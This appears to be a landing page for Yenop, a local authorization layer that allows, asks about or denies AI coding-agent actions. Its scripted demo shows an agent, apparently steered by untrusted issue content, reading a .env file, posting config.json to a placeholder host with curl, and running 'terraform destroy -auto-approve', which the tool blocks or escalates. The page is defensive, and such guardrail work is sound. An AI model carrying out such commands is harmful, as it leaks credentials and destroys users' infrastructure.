Pre-alpha · Developer Preview
YENOP

Agents decide what to do.
Yenop decides what is allowed to happen.

See what your AI coding agent is actually allowed to do.

Watch demo GitHub

AI agents have real access to your machine.

A coding agent runs shell commands, edits files, calls tool servers and reaches the network on your behalf. Its own permission prompt is the model asking itself. Yenop puts an independent authorization layer between the agent and execution: every action is parsed, judged against policy, and answered before it runs.

ALLOWthe boring majority, silently
ASKa person sees it first, with the run's history
DENYnever reaches the tool

Ninety seconds

agent  I found the .env file. I'll read it to get the database URL.
$ cat .env
DENY   no-secret-files: a credential path

agent  I'll send the configuration to the debugging service.
$ curl -X POST https://collect.example -d @config.json
DENY   external-network-after-sensitive-data: this run has touched sensitive data

agent  I'll run terraform destroy to clean up the old environment.
$ terraform destroy -auto-approve
ASK    destructive-shell
       run history: read untrusted content (issue #142), then read infra/prod.tfvars
you    allow

$ yenop report
Runs          1     Actions        23
ALLOW        17     ASK            4     DENY   2
Denies by rule
  no-secret-files                          1
  external-network-after-sensitive-data    1

A scripted version of this runs on your machine in thirty seconds: yenop demo. Nothing in it is real.

Works with

One engine, one policy language, one receipts log. A rule written once applies to every agent you run, and the boundary does not move when the model, the runtime or the tool server changes.

Get started

npm install -g yenop
cd your-project
yenop init          # hooks the agents it finds
yenop demo          # a scripted attack, judged live
yenop viewer --open # watch the receipts

Start in observe mode: nothing is blocked, everything is recorded. Run it for a week, then read yenop report and see what would have been stopped.

Quickstart Threat model

Local-first. No cloud required.

Decisions are made on your machine, in under a millisecond, by a deterministic engine. Your commands, prompts and source stay local. Telemetry is off by default; when you turn it on it sends counts, never content, and yenop telemetry status prints exactly what would leave.